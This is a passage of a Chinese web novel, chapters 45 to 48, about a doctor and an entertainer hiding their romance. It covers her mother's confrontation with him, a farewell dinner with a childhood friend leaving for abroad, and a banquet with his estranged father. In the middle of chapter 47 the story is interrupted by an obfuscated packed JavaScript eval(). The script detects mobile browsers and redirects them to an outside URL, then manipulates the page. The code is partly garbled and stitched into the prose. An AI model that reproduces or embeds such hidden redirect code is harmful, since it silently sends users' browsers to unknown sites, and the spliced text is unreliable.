——当时汀州这孩子还说过,在一场演出的时候,他还说过昭昭。 一丝明悟和随之而来的冷意爬上王舒月的眼底。 她脸上的最后一点温度也褪尽了,声音沉了下来:“昭昭,你先进房间去。妈妈有话,要单独跟这位祁先生说。” “妈……” 王舒月转过头,只一个眼神扫过去。 那眼神平静无波,却带着多年不容反驳的压迫感。 温昭只好闭嘴,担忧地看向祁慕。 祁慕对上她的目光,微微点头,嘴唇无声地动了动,清晰地做了“放心”的口型。 她这才起身,一步三回头,最终还是走进了卧室。 门关上的瞬间,她就靠在门板,试图听清门外两人的谈话。 客厅里,只剩下王舒月和祁慕两人。 气压一下子快速下沉。 祁慕放在膝盖上的手微微蜷紧,率先打破了令人窒息的沉默:“阿姨,你有什么话就直说吧。” “行,那我就开门见山了。”王舒月终于抬眼,目光锐利,“你和我们昭昭,在一起多久了?” “刚九天。” 王舒月嘴角勾起一个极淡的弧度,“如果我没记错的话,祁先生,你之前,似乎对我们昭昭的职业,很有意见?甚至……还在公开场合,说过让她难堪的话?” 祁慕的心猛地一沉,喉结滚了滚,低声应道:“……是。” “那现在又怎么想着跟昭昭在一起了?” “阿姨,我承认,之前我确实……对昭昭的这个职业存在很大的误解,甚至因此,对昭昭……也有过非常不恰当的言语。” 他深吸一口气,迎上王舒月审视的目光,不闪不避:“实不相瞒,我的外婆,现在就是昭昭负责的患者。” “当初我把外婆送到他们科室时,我心里头又慌又怕,压根不敢信他们。因为我第一个亲人……就是因为这个科室有些医生的不负责,才走的……” 王舒月眼神松动了一下。 “所以,我讨厌这个职业,也因此怀有芥蒂。” “直到我遇到了昭昭,”他顿了顿,又说,“……是她对病人的专业,温柔还有那份责任,才让我慢慢放下了那些偏见。也让我明白,自己过去是多么狭隘、多么愚蠢!” 只要提到温昭,他的声音不自觉就柔了下来:“我是真的很喜欢她。喜欢她的纯粹,喜欢她的善良,更喜欢她表面看着温温柔柔的,心里却有一股……韧劲。” 王舒月叹了口气,开口:“但祁慕,你在娱乐圈待着,那地方是什么光景你比我清楚,就是个大染缸。阿姨年轻的时候也追过星,甚至也差点踏入了这个行业。那些粉丝的疯魔,舆论的刀子有多利,我太清楚了!一旦……你和昭昭的关系曝光了,站在风口浪尖,承受最多伤害、最多非议的,只会是我的昭昭!” “阿姨,我清楚!”祁慕急切地开口,“我也懂您的顾虑,您放心,我一定会尽全力,保护好昭昭。” “空口白牙的承诺,我不听。”王舒月打断他,声音沉了沉,“祁慕,我只看的行动。昭昭她爸爸……在她还很小的时候就走了。这丫头是我一个人,咬着牙、拼了命拉扯大的。我这一辈子,没别的念想,就只求我的女儿能平平安安、顺顺当当地过完这一生。她不需 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他知道温昭的妈妈赶来一趟不容易,母女俩也要说很多话,也就没再耽误太多时间。 客厅里,王舒月独自坐在沙发上,看着温昭那扇紧闭的房门,无声地叹了口气。 - 屋内,温昭一直趴在门边。也不知道是这扇门的隔音好,还是两人说话太小声了,她愣是一个字也没听清,只能捕捉到一些模糊的音节。 估摸着人走了,她才轻手轻脚地拧开门把,探出头来。 “妈,”她环视了一圈空荡荡的客厅,问着,“祁慕他……” “回去了。” “……哦。”温昭慢慢走了出来。 王舒月拍了拍身边的沙发垫:“昭昭,过来,坐这儿陪妈说会儿话。” “好。” 温昭乖乖走过去,心里七上八下的。 “昭昭,”王舒月侧过身,握住了女儿的手,“你跟妈说实话,你不会……真的很喜欢他吧?” 温昭看着她,浅浅一笑:“嗯。” 王舒月看着她这坦荡又带着点羞涩的模样,不用说,也就什么都明白了。 “你知道的,妈妈以前恨不得你快点谈恋爱,但是……这次妈妈怕了。” “妈……”温昭鼻子瞬间就酸了。 “妈看得出来,祁慕这孩子……心眼不坏。可他那个圈子,你应该也清楚吧?万一……万一你们的事儿被捅出去,那些铺天盖地的闲言碎语、那些无孔不入的窥探,砸在你身上,你扛得住吗?妈…光想想……就心疼。” 她自然想过,这个顾虑从认识他的那一天开始,就产生了。 她想过保持距离。 可,祁慕这个人,就像一块巨大的磁石。 而她,像是铁屑。 明知道靠近可能会被荆棘和风暴缠绕,却还是忍不住被吸引,一步步朝他靠近。 那份喜欢,早就压过了所有理性的预警。 “妈,这些……我都知道。” “知道你还……”王舒月的声音一下就拔高了。 “妈——”温昭打断她,“就是因为太喜欢了!所以……我想为自己,勇敢这一次。” 她吸了吸鼻子,努力扬起一个带着泪花的笑容:“而且,我相信如果真的有那一天,他会保护好我的,我也会保护好我自己。” “傻孩子,”王舒月心疼地戳了下她的额头,声音又急又无奈,“你以为有些东西是他能保护好你就不会发生的吗?这个圈子的人和事,远比你想象的复杂,你知道吗?” “妈,我都知道。”温昭反手紧紧握住母亲的手,眼神没有丝毫动摇,“但我…还是想和他一起。” 风雨也好,晴天也罢,她都想试试。 她不想错过一个真心喜欢自己的人,也不想错过一个自己真心喜欢的人。 46. 第46章 王舒月看着女儿眼中的坚定,所有劝说的话都堵在了喉咙眼。 她知道温昭从小就这样。 认死理,倔得很,九头牛都拉不回头。 刚才祁慕那小子说她有股韧劲儿,还真没说错。 她长长地叹了口气,眼里只剩下忧虑和一丝…… 认命的无奈。 作为母亲,谁不希望自家孩子好?但也更希望她能真的开心。 王舒月又叹了口气,抬眼看向温昭,突然灵光一现,觉出点不对劲。 “哎,等等?”她坐直了些,语气狐疑,“我上次来的时候,你不是说……他有女朋友吗?” 她越说越觉得可疑,眉头不自觉地就皱了起来:“怎么回事?难道你俩那个时候就谈上了?” “没有!”温昭急忙否认。 “那怎么回事?你倒是跟我说说?”王舒月不依不饶。 “……” 温昭身体的温度一下就升高了,拿起桌上那杯祁慕泡好的茶,喝了一口,心虚地看了母亲一眼,就收回了眼神。 “那……那会儿……”她扣着杯壁,“不是…不是怕您知道了,又瞎琢磨,乱点鸳鸯谱嘛……就…就随口编了个理由搪塞您……” 说完,她扯出个比哭还尴尬的笑。 “乱点鸳鸯谱?”王舒月往后一靠,看着女儿这副手足无措的窘样,反倒笑出了声。 “我看啊,我这谱点得,挺准、挺对的嘛!你喜欢的不得了!” 温昭:“……” 她默默低下头,捧着那杯茶,嘴角却又忍不住向上扬起。 ——嗯,是挺好的。 - 夜深了,温昭坐在床边的沙发椅上看着医学书,指尖捻着书页边角,房间里只有她翻阅书页时的簌簌声。 也在这时—— “嗡——” 床头柜上正充电的手机猝不及防地一震,屏幕幽幽亮起。 温昭目光从书上移开,随手把书往腿上一扣。她倾身过去,拔掉充电线,把手机拿起。 7:【睡了吗?】 她嘴角不自觉就弯了一下,指尖轻点:【还没。】 下一秒,祁慕就打来了视频通话。 温昭接起。 视频那头一片浓稠的黑暗,只有手机屏幕的光映出他模糊的面部轮廓。 她凑近了些:“怎么不开灯?” “刚躺下原本想睡,就把灯关了。”他看着温昭笑了一下,继续说,“可闭上眼睛……发现又想你了。就想听听你的声音,和你说说话。” 温昭抿唇笑了笑,又不经意想起今天晚上的事,问道:“你刚刚跟我妈聊什么啦?” “也没聊什么,就……聊了聊你。” “我?” “嗯,”他应着,“阿姨说,她有一个很好很优秀的女儿。然后我跟阿姨说,我也这么觉得。并且,” 他顿了顿,“我很喜欢她。” 她没忍住,轻轻一笑,脸颊微微发烫,下意识抬起头,目光望向窗外的夜空。 一直躲在云层后的月亮,不知何时显现,清泠的银辉晕染了大半边深蓝的夜空。 那片清辉映在她眼底,亮亮的。 她重新看向屏幕:“祁慕,你困吗?” “不困。” “那我们,出去吧?” “现在?” “嗯。” “好。” - 江边的路灯昏昏黄黄,小路上还残留着一小片一小片未干的雨水。晚上的天气不热,风一吹甚至还有些凉爽。 温昭也不知道自己怎么就心血来潮,想着和祁慕出来。 或许是今天晚上的天气不错,月亮很美,又或许是最近发生了一些事情。尽管祁慕在她面前总是带着笑,一副轻松自在的样子,但她能隐隐约约的感觉到,他心里的压力一直沉沉地压着他,只不过他谁都没说。 这个点,江边的公园小道上几乎只有他们两个人,安安静静的,很舒服。她看着身侧的人,视线落到祁慕握紧她的手上,笑了笑。 上一次这样散步,好像已经是两周前的事了,那时他们都还没在一起。 “昭昭。”祁慕突然开口。 “嗯?”温昭应着,抬眼看向他。 “你跟我在一起,会不会觉得…觉得很麻烦?” 温昭的脚步倏地顿住,有些愕然地抬头看他。 “麻烦?为什么突然这么说?” 祁慕也停了下来,沉默了几秒,又开口:“因为我没办法像别的男朋友那样,随时随地、光明正大地陪你。吃顿饭要挑角落,去外面玩可能像做贼,连牵着手在路上走,都得提心吊胆看人多不多,口罩帽子更是焊在脸上……昭昭,这样偷偷摸摸的日子,是不是……很委屈你?” 温昭静静地听着,等他话音落下,没有立刻回答,只是轻轻晃了晃两人交握的手。 “祁慕,在我决定喜欢你之前,这些……我就都已经知道了。”她顿了顿,眼神温柔、坚定,“但我还是选择喜欢你。因为只要和你待在一起,哪怕只是像现在这样安安静静地走一走,我就觉得特别、特别开心。” 她话锋一转,带着点俏皮的无奈:“再说了,我也没好到哪里去呀。我要是忙起来,可能一顿饭吃到一半,电话就来了,扔下你一个人是常有的事。” 她微微歪头,凑近了些:“那……祁老师,会不会觉得跟我在一起,特别累,特别麻烦?” 祁慕毫不犹豫地摇头:“不会。” “那我也一样。” 她顿了顿,望进他漆黑的眼眸中:“只要那个人是你,祁慕,跟你在一起的每一分、每一秒,我都不觉得麻烦,不觉得累,更不会觉得……” “委屈。” 最后两个字轻轻落下,带着尘埃落定的温柔。 祁慕淡淡一笑,没再言语,只是长臂一伸,将温昭整个人紧紧地、牢牢地拥入怀中。 他温热的胸膛隔绝了微凉的江风。温昭贴着他的胸膛,耳边是他沉稳有力的心跳,一下,又一下,清晰可闻。 晚风带着水汽拂过,吹动了她的发丝,缠绕在他胸前。 “昭昭,”祁慕低下头,缓缓开口,“……遇见你,真好。” 好到让他时常觉得,遇见她之后的一切,都像一场美好得不真实的梦。 一场他从未奢望过的梦。 他很少被人这样毫无保留地、坦荡而赤诚地喜欢着。 他低下头,温柔地看着怀里的人。 这或许是他不太幸运的人生中,能寻找到的,最大的幸运。 - 端午刚过,王舒月就拎上行李出门了,说是约了朋友去北方玩。 温昭和她妈妈不论是性格还是生活节奏,都截然不同。王舒月以前就常念叨:“你这性子,也不知随了谁,一点也不像我,” 顿了顿,又补一句,“也不像你爸。” 是,她父母都是爱热闹、喜欢往外跑的人。 可温昭偏偏不一样,平日里大门不出二门不迈,不是对着电脑写报告,就是看医学视频学习,偶尔追两集狗血剧,都算奢侈放松。 而王舒月就是属于另外一个极端。 每隔一个月,就要出去旅游一次,总说要趁走得动,多看看这世界的事物、人文。 温昭也没多留,她知道她留也留不住。 只是在王舒月登机之前,她瞥见妈妈拉着祁慕站在角落嘀嘀咕咕说了好一会儿。 具体聊了什么,温昭不清楚。 后来祁慕也只是轻描淡写地提了一句:“阿姨让我好好照顾你。” 再没多说。 温昭也就没追问。 接下来的几天,祁慕几乎整天待在医院陪着刘婧。 温昭工作间隙只要抽得出空,也会过去陪着说说话、解解闷。 这天。 她检查完最后一间病房,来到了休息室。拿出手机,屏幕内全被微信消息占满了。 她点开一看。 倒不是祁慕发来的,而是林晚和许汀州。 不过不是单发,而是在他们的一个小群。 是之前上高中的时候建的,也好久没聊了。 许汀州:【这周三有空吗,一起吃饭?】 林晚:【好啊,我有空。】 许汀州:【昭昭呢?】 林晚:【估计还在上班呢。】 林晚:【不过,你怎么突然要约着吃饭了?】 许汀州:【到时候,见面聊吧。】 林晚:【行。】 温昭看完,点开了输入框:【我有空。】 没一会儿,许汀州的回复就弹了出来:【好,那我们周三见。】 温昭回了个“好”,便收起了手机。 …… 天色在连绵的雨声中一点点暗沉下去。温昭走到地下车库,视线穿过昏暗的光线,远远地就看 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地下车库的车流渐渐多了起来,一辆接着一辆驶入,带着细微的喧嚣。 但这小小的动静,丝毫没惊扰到驾驶座上沉睡的人。 她知道,他虽然推掉了不少工作专心陪外婆,可还有一些早就签好的合作和正在写的脚本推不掉。这些事情零零碎碎缠着他,一点一点吸取着他的精力。 她心疼他,所以也舍不得叫醒他,就这么陪在一旁,安静地刷着手机。 不知过了多久。 祁慕脸色微动,睫毛轻颤,缓缓睁开了眼睛。 初醒的眼底有些失焦,但还是模糊的看到了坐在副驾驶上,安安静静看手机的温昭。她戴着蓝牙耳机,指尖在手机屏幕上轻轻滑动。 他微微动了动有些僵硬的脖颈。 温昭也察觉到了细小的动静,摘下一边耳机,看向他。 “醒啦!” 他抬手揉了揉她的头发:“怎么不叫醒我。” “看你睡得香,没忍心。”她轻声说,“其实你真的不用每天都起这么早送我……可以多睡一会儿的。” “没事。”祁慕坐直身体,“我过来的时候,外婆刚醒,正好能陪她吃个早餐。” 他瞥见她眉间还有忧色,补充道,“放心吧,我真的不累,就是刚刚在车里坐着,犯困了,睡着了而已。” 他停顿了一下,他嘴角弯起一个安抚的弧度: “而且……昭昭。” “陪你,我一点也不觉得累。” 温昭知道他是怕她担心,也没再多说,只是乖乖点了点头。 “走,回家!” 车缓缓驶出地库,融入傍晚烟雨朦胧的车流中。雨刮器安静地左右摆动。 温昭看着窗外红黄闪烁的朦胧街道,想起许汀州的邀约,侧过脸。 “对了,周三晚上…我就……不陪你吃饭了……” “为什么?”他侧目看她,“要值班吗?” “不是,是”她顿了顿,“……汀州哥。” 祁慕听到这三个字,心紧了一下。 温昭继续说,“他约我和林晚周三晚上吃饭,好像…有事要说。” 车在红灯前缓缓停下。 他侧过身,目光沉沉:“就……吃饭?” “嗯。” 绿灯亮起,他收回视线,重新启动了车子。 静了片刻,又想起什么,他目视着前方,随口补了一句。 “对了,别喝酒。” 温昭一愣,下意识反问:“为什么?” “……”他沉默了几秒,才轻声说,“喝酒伤身。” “哦……” 又是一个红灯口,车子停稳在斑马线前。 他转过头,看着她微微低着的侧脸,街道的灯光朦胧地洒了下来,轮廓细腻温柔。 他指尖在方向盘上无声地敲击着,脑海中不受控制地闪过上次她喝醉后,双颊绯红、眼神湿润、抱着他哭泣时委屈的样子。 还有那个猝不及防落下来的吻…… 他喉结不自觉滚动了一下。 ——谁让你那酒品……实在有点让人“印象深刻”。 ——万一又喝多了又…… 最关键的是,他不在。 太危险了。 47. 第47章 下班高峰时期,再加上下大雨,车子堵在路口,像被焊死在地面上。两人在一个路口处等了好久,车子也只是微微前进了一点。 祁慕索性转头看向温昭:“你们去哪儿吃饭?” “城西的街角花园餐厅。” “行,”祁慕回过头,又慢悠悠地向前开了一点,又说,“正好那天我也有事,到时候忙完来接你。” “不用了,你一来一回估计得一个多小时起步!我直接坐地铁或者打车就行。” “没事,”祁慕目视前方,语气那叫一个云淡风轻,“反我那天晚上有个酒会在那附近,结束了我顺道拐过去接你,刚刚好。” “酒会?!”坐在一旁的温昭听到这两个字,立马坐不住了。 ——他说的“忙”就是去参加酒会?! ——叮嘱我“千万别喝酒”,结果自己跑去“酒会”?! 她秀气的眉头立刻皱起:“什么……酒会啊?” “哦,就一个普通的业内聚会,基本都是同行,”祁慕随口补充道,“哦对,可能还有些演员朋友也会来……” “演员?”温昭的声音又亮了一些。 提起这两个字,她就想到之前祁慕上热搜的事情。 她清了清嗓子:“……那,既然你顺路……有空的话,就……来接我一下吧?”说着,眼神飘向窗外,假装看雨。 “不是说,不要我接?”祁慕挑眉。 温昭被他噎了一下,又说“……反正你不是顺路嘛!” “行——”祁慕拖长了声音应下,嘴角勾起,“我来接你!” 他说完,又再次侧过头,目光扫过她微微绷着的侧脸,立马了然,忍不住低笑出声:“放心,温医生,我一定——洁、身、自、好。” ——你倒是会保证! ——上次上热搜的时候你不也洁身自好,不还是被拍了…… 温昭在心里疯狂吐槽,脸紧紧绷着,眉头紧皱。她干脆扭过头去,死死盯着窗外被雨水冲刷得一片模糊的世界。 “哦。”她冷冷地应着,心里咕嘟咕嘟冒着酸泡。 - 周三这天,总算没再下雨,可天空仍旧是灰蒙蒙的一片,半点没瞧见太阳的影子。 中午那会儿温昭倒是见着了祁慕,两人一块儿陪着外婆待了会儿。可还没到三点半,他就走了。 说是要去做个妆造。 温昭又忍不住吐槽道:参加个酒会还要做妆造?不知道的以为要去走红毯? 送他到医院门口,两人正聊着。 祁慕脚步一顿,侧过身,强调着:“记住啊,别喝酒。” 这还没完。 等他拉开车门坐进驾驶座,车子发动前,又降下车窗,探出半个脑袋,追加了一句。 “千万,别喝酒!” 开车走前,又说了一句“别喝酒”。 现在,温昭盯着自己手机屏幕上那条五点半准时弹出来的信息—— 祁慕:【别喝酒。】 温昭抿了抿唇,回复着:【知道了……】 发完,一股难以言喻的诡异感爬上心头。 是,喝酒伤身这道理她懂! 但至于像防贼一样,从中午到下午,再到傍晚,整整提醒她三遍?! 这严防死守的架势,不知道的还以为她是个三杯倒,然后发酒疯的人呢! 她又忍不住开始努力回想,上次喝醉的时候发生的事情。 …… 明明挺安分的啊…… 也没干什么啊…… 可祁慕这反应倒像是她做了多流氓的事情一样。 “叮——” 微信铃声打断了她的思绪。 林晚发来一条语音信息:“昭昭大宝贝,要不要我过来接你,我现在在石楠西路,到你那就五分钟!” 温昭按下语音键回复:“好,那我在医院门口等你。” …… 没到五分钟,林晚就到了。 温昭打开车门,坐进。 果然下班高峰时期哪哪都堵车,让城市变成了巨型停车场。 林晚骂骂咧咧换了三条导航推荐的“捷径”,结果条条堵成深红,车子挪得比蜗牛还慢。 “嗡——嗡——” 温昭包里的手机不甘寂寞地震动起来。 她一看打开,是祁慕打来的电话。 她接起,放到耳侧。 祁慕的声音从听筒传来:“昭昭,出发了吗?”他那边有点吵,显然酒会已经开始。 “嗯,在路上了。” “那待会儿快结束的时候,给我发个消息。”他嘱咐道。 “好。”温昭也应着。 “还有,”他顿了顿,“别喝酒。” 温昭皱起眉:“祁老师!这话应该是我对你说才对吧!” 电话那,祁慕轻笑一声,听不出是什么意味。 温昭眉头皱得更紧。 他又说:“好了,挂了。” “嗯。”温昭没好气地应了一声,掐断电话。 倒也不是真生气。 她也清楚明星参加这种社交酒会再正常不过了。 只不过还是有点吃醋,和担忧。 万一…… 又被哪个不长眼的狗仔拍到点捕风捉影的画面呢? 她盯着窗外水泄不通的车流,忍不住长长叹了口气。 林晚看了眼温昭愁云惨淡的表情,笑着问道:“怎么?跟你家祁老师吵架了?” “没。” “那你这表情…不对劲啊?” “……”温昭没接话,只是把脸扭向窗外。 车内只有电台放着的晚高峰路况信息。 温昭低下头,带着点泄愤的意味,戳开了微信置顶那个熟悉的头像,噼里啪啦敲下一行字发送: 【祁老师,友情提示:喝酒伤身!(微笑.jpg)】 这应该看得懂是什么意思吧?! - 城西这边没有那儿那么堵,还算顺畅。紧赶慢赶,两人终于到了目的地。 透过车窗,就看到许汀州已经等在餐厅门口。 林晚要停车,温昭就先走了过去:“汀州哥。” “来了?”许汀州闻声抬头,,“路上是不是很堵?” “嗯。” 林晚也走了过来,把车钥匙往包里一塞:“别提了!三条路全堵死了!估计蜗牛爬都比我快!” 许汀州笑着,侧身推开厚重的玻璃门:“快进来吧,菜也差不多开始上了。” 三人跟着服务员走到了一处安静的包厢,圆桌上已经摆了几道精致的凉菜。许汀州拿起茶壶,给每人面前的茶杯斟上热茶。 刚坐下,林晚就忍不住了,胳膊肘撑着桌面,八卦地看向许汀州:“我说许汀州,你这几百年不请客吃饭,今天什么情况?” 许汀州动作顿了顿,才抬眼:“我……要出国了。” “出国?!”温昭刚拿起茶杯的手顿在半空,有些愕然地看着他,“怎么这么突然?之前没听你提过啊?” “公司那边临时决定的。”许汀州放下茶壶,解释道,“国外分部有个重要项目启动,总部点名让我过去。项目周期不短,后续可能还要在那边稳定一两年。” 温昭了然地点点头,捧着温热的茶杯,心里却有些凉。 林晚“啧”了一声:“合着今天是散伙饭啊?许汀州,你这分别饭请得够仓促的!” 许汀州无奈地笑了笑:“确实是临时通知,我也是刚拿到最终确认,这不一有机会就赶紧把你们叫出来了。” “那……具体什么时候走?”温昭轻声问道。 “手续已经在办了,最快这周,最晚……21号之前肯定得走了。” “21号?”温昭算了下日子,“那不就是下周五?” 许汀州点点头:“嗯。” 包厢里瞬间安静下来。 窗外的城市灯火透过玻璃朦胧地映进来,桌上的菜肴热气袅袅,空气里弥漫着一种淡淡的、名为离别的沉默。 林晚最受不了这种气氛,筷子“啪”地往筷架上一放:“哎呀!干什么干什么!搞这么伤感!又不是生离死别,不就是国外嘛,飞机嗖一下就到了!”她说着,拿起打开的红酒,给三个高脚杯都斟上小半杯,“来来来!那我们就祝你一切顺利,鹏程万里!” 温昭也端起酒杯,看着杯中深红色的液体轻轻晃荡。 她没像林晚那样豪爽,只是凑到唇边,抿了一小口。 倒不是完全是因为祁慕的话,主要是她对自己的酒量也有数。 如果喝醉了,万一又晕乎乎的,祁慕本来就忙,她可不想再添麻烦。 她放下酒杯,看向许汀州:“汀州哥,你在那边一定要照顾好自己。徐阿姨那边你放心,我会常去看她的,你要是有什么事也随时给我打电话,能帮我们一定帮!” “对对对,还有我!”林晚也应和着。 “谢谢你,昭昭,还有晚晚,有你们在,我放心很多。” 温昭摇摇头。 视线掠过正跟许汀州碰杯的林晚,再落到对面许汀州那张依旧温润如玉、却即将远行的脸上,眼眶倏地就热了。 眼前嬉笑的画面,与记忆深处某个泛黄的午后重叠。 放学铃声清脆,三个穿着蓝白校服的身影跑出校园,书包在身后不停摇晃。夕阳照在三人身上,他们踩着地上的光斑,嬉笑着穿过种满银杏叶的林荫路,讨论着刚发下来的试卷,计划着周末去哪里玩。 空气里都是少年人无忧无虑、仿佛永远不会散场的味道。 那么近,又那么远。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16286450|182617||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时光无声流过,终究还是将曾经紧密相连的堤坝冲散。 各自奔忙,各自长大,被生活的浪潮推着走,身不由己地走向不同的远方。 在温昭心里,林晚和许汀州,从来就不只是朋友。 一直都是家人。 即使许汀州曾经离开了好几年,但在温昭的心里,他一直都是那个,会在她被难题困住时耐心讲解,会在她伤心的时候默默安慰的…… 好哥哥。 窗外的霓虹透过玻璃,在酒杯上折射出迷离的光晕,映在温昭眼中,透露着不舍。 也投射在祁慕面前那杯几乎未动的香槟杯上,折射出迷离冷艳的光晕,还有他深不见底的眼眸中。 宴会厅衣香鬓影,觥筹交错。 祁慕刚应付完几位重量级的导演和制作人,带着恰到好处的微笑回到座位,这会儿才刚有空拿出手机。 屏幕亮起的瞬间,就看到了温昭给他发的信息。 他冷硬的唇角被慢慢软化,回复着: 【放心。】 【我一定注意身体!】 他放下手机,抬眼,却看到朝着这张桌子走来祁子航和祁清远。 一股令人作呕的气息便强势地侵入他周围的空气。 祁清远也算是业内的一大资本,这种场合自然不会缺席。 为了捧他那颗“明日之星”,他这张老脸皮算是豁出去了,今天晚上到处牵线搭桥。 祁慕的脸色瞬间绷紧。 他不动声色地向后靠了靠,和走到他旁边的祁清远拉开了些距离。 目光落在自己黑屏的手机屏幕上,如同一面黑镜,清晰地倒映出祁清远那张堆满虚假笑容、写满功利的脸上。 “刘导,”祁清远那刻意拔高的、带着谄媚地说着,“给您介绍一下,这是犬子,祁子航。以后还得请您多多关照啊!” 祁慕听到那声音,就恶心得他想吐。 如果不是这该死的公众场合,他绝对会立刻起身走人,一秒都不多待。 被点名的刘导是个老江湖,闻言站起身,脸上挂着职业化的笑容,眼神在祁子航脸上打量着。 “哦……祁子航啊?有点印象!你是不是参加了《脱口秀4》?第一期就拿了五盏灯对吧?后生可畏啊!” 祁清远脸上的笑容僵了一瞬,尴尬地呵呵两声:“刘导您记性真好!是第一期,是第一期……” 《脱口秀4》目前只播放了第一期,所以也只知道祁子航第一期得了五盏灯。 但后续的祁子航淘汰和出洋相的事情,也只有导演组知道,还有几个评委和现场观众知道。 不过也都签了合同,也没人往外说。 刘导的目光却自然地转向了一旁沉默的祁慕,语气熟稔了些:“我记得祁慕是那个节目的评委吧?” 祁慕站起身,对上刘导的目光,扬起一个无可挑剔的微笑:“嗯。”说完,他又看向祁子航,“祁选手,确实不错。” 不过,是腿抖的不错。 站在祁清远身后的祁子航,听到这句话,如同被针扎了一下,抬眼看向祁慕。 那眼神里充满了毫不掩饰的嫉妒和不屑。 要说起,祁慕和祁子航是同龄,而祁慕确是比赛的评委,而并非是选手。 祁慕的话每一个字落在他耳朵里,都像嘲讽的针,狠狠扎在他那点可怜的自尊心上。 祁清远又假惺惺地客套了几句,终于带着祁子航转向下一桌。 直到那股令人窒息的压迫感彻底远离,祁慕才缓缓地呼出一口浊气。 周围的空气,也因为那两人的离去瞬间都变得清新起来。 …… 祁慕又从容地应酬了一圈,不动声色地收拢了几条分量不轻的人脉线。抬腕看了眼手表,已悄然到了九点。 差不多了。 他向来不喜欢在这种场合过多流连。 没等温昭的发来信息,他便与几位相熟的导演和制作人道别,抽身离开了那片喧嚣浮华。 黑色的车子驶入“街角花园”餐厅附近一条相对安静的支路,在树影婆娑下稳稳停好。 他熄了火,车内瞬间陷入一种静谧,只剩下车窗外偶尔路过的车灯,投下短暂的光影。 祁慕没急着下车,也没给温昭发“到了”的信息。 就这样安安静静地等着。 就像温昭说的,这点信任,她有。 他当然也有。 更何况,他也能感受到温昭喜欢他。 既然是心知肚明的东西,又何必患得患失。 微凉的晚风吹入微开的车窗,祁慕的目光落在窗外餐厅温暖的灯光中。 汀州哥? 呵。 哥哥就哥哥呗。 横竖…… 又不是男朋友。 48. 第48章 餐桌上的盘子渐渐空了,窗玻璃上又缀满了细密的雨丝。三人这顿饭吃得慢,聊得也久,直到夜色深沉才起身下楼。 站在餐厅明亮的大堂里,温昭拿出手机,给祁慕发了条信息: 【我这边结束啦,你呢?要是还没忙完我也可以自己先回去的。】 林晚挽着温昭的手,说道:“哎,昭昭,谷知轩马上到了,要不要一起走?” 一旁的许汀州视线也看向温昭。 “我……”温昭话还没说完。 掌心的手机突然轻轻一震,屏幕倏地亮起。 祁慕:【来了。】 她嘴角弯起,抬眼对林晚笑了笑:“不用了,祁慕正好也在这附近吃饭,他待会过来接我。” “哦这样啊——”林晚拉长了语调,“懂了懂了!” 刚说完,她的电话铃声就恰时响起。 她接起嗯嗯啊啊哦哦回复了几声,松开了温昭:“谷知轩来了,我就先走了。” “嗯。”温昭应着,“路上慢点。” “知道啦!”林晚转身拍了拍许汀州的胳膊,“说好了,在国外要是有地方帮忙的,随时找我,姐这点人脉还是有的!” “好!一定不跟你客气!”许汀州笑着应和,“路上小心。” 林晚点了点头,转身挥了挥手,推开了玻璃门,打着伞的背影很快消失在黑夜的雨幕中。 许汀州看向温昭,往前走了半步:“昭昭,你……和祁慕,在一起了?” “嗯。”温昭点点头。 许汀州了然地点头,眼神复杂地在她脸上停留,犹豫了一会儿,还是开口了。 “祁慕他……对你好吗?” “他对我很好,”温昭答得毫不犹豫,声音里带着笑意。 许汀州点点头:“那就好……” 她顿了顿,又说:“反而…他太好了,有时候会让我觉得,是我对他还不够好……” 许汀州闻言微微一怔,眼底掠过一丝清晰的讶异。 他没想到会听到这样的答案。 上次被温昭婉拒后,他就将那份心思压在心底,只余下纯粹的祝福。但此刻听到温昭这样说,心里依旧对祁慕产生了些许羡慕。 “喜欢一个人的时候,大概总会觉得,想把全世界最好的都给她,生怕自己给得不够多。”他看着温昭低垂的眉眼,又说,“但是昭昭,你已经很好了。真的。” “而且……”他停顿了一秒,“我相信,祁慕也是那么觉得的!” 温昭抬起眼,对上他认真的目光,轻轻笑了一下:“谢谢你,汀州哥。” 许汀州静了片刻,目光投向窗外连绵的雨丝,声音轻缓:“那……你们有没有考虑过公开?” 温昭愣了一下,唇微微张启,最终只是摇了摇头。 “暂时……还没这个打算。” “是他不想?” “不是,”温昭缓缓摇头:“是我。” 公开恋情。 对现阶段的祁慕来说,没有任何的好事。 上次接连两次被恶意送上热搜的情景还历历在目。虽然事后澄清了是子虚乌有,但当时网上还是有一些营销号带头辱骂。 说“他忘了来时路。” 还有些极端的粉丝也说他。 “现阶段应该好好专注于事业,不要谈情说爱。” 支持的声音不是没有,但太少、太轻,轻易就被淹没在铺天盖地的指责里。 她舍不得他再被卷进那样的风波。 也害怕自己成为那个漩涡的中心。 像现在这样,藏在无人知晓的角落,安安静静地谈一场恋爱,其实也很好。 她… 心甘情愿。 也甘之如饴。 许汀州看着她微扬的唇角,又说:“昭昭,不管发生什么,别委屈自己。要是遇到不开心的事,随时找我。就像你说的,我们是……” “家人。” 温昭抬起头,轻轻笑了一下:“……嗯。” 窗外的雨声渐渐密了,一道车灯划破雨幕,短暂地照亮一个正撑着伞朝这边走来的身影。 只是一瞬,光芒掠过,一切又暗了下去。 温昭下意识朝旋转门望去。 雨帘深处,有人正不疾不徐地走近。 男人撑着一把黑色长伞,一身深蓝色西装衬得身形修长挺拔。雨气氤氲中,他整个人都透着一股冷清又矜贵的气质,就像这场夜雨一样,疏离又迷人。 她不自觉抿唇笑了起来。 祁慕走到旋转门外,收下雨伞,一抬眼,就看到了站在大堂里面的温昭。 以及她身边的许汀州。 温昭朝他迎了两步。 他梳着背头发型,只有一小撮头发垂下,喷着发胶的头发泛着微光。眼周还画着烟熏妆,衬得眉眼深邃、浓烈。 祁慕径直走到温昭身边,朝许汀州点了点头,目光却在两人之间的空隙停顿了一瞬。 他伸手,搂过温昭的肩膀,用了点力,拉开了两人的距离。 “走吧。”他低声说,声音透过雨气显得格外磁性。 